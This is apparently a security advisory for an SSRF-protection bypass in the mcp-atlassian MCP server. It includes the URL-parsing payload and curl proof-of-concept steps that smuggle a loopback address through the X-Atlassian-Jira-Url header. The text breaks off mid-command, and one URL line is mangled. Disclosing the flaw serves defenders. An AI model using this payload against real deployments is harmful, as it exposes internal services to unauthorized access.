CVE-2026-77274

## Environment - Project: `sooperset/mcp-atlassian` - Affected function: `validate_url_for_ssrf()` - Affected path: header-based Jira/Confluence URL authentication flow - Tested endpoint: `POST /mcp` - Tested version: `2.14.5` ## Description The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax. Affected code: ```python parsed = urlparse(url) hostname = parsed.hostname ... ip_error = _check_ip_address(hostname) ... dns_error = _check_dns_resolution(hostname) ``` Payload: ```text http://127.0.0.1:6666\@www.baidu.com ``` For this input, `urllib.parse.urlparse()` treats the hostname as: ```text www.baidu.com ``` Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service: ```text http://127.0.0.1:6666/%[email protected]/rest/api/2/myself ``` This allows an attacker-controlled Jira URL to target loopback or internal services. ## Proof of Concept Start a local HTTP server: ```bash python3 -m http.server 6666 --bind 127.0.0.1 ``` Start `mcp-atlassian` with streamable HTTP transport on port `9000`. Initialize an MCP session with the malicious Jira URL: ```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}' ``` Send the initialized notification using the returned `Mcp-Session-Id`: ```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: <SESSION_ID>' \ -H 'X-Atlassian-Jira-Url: h
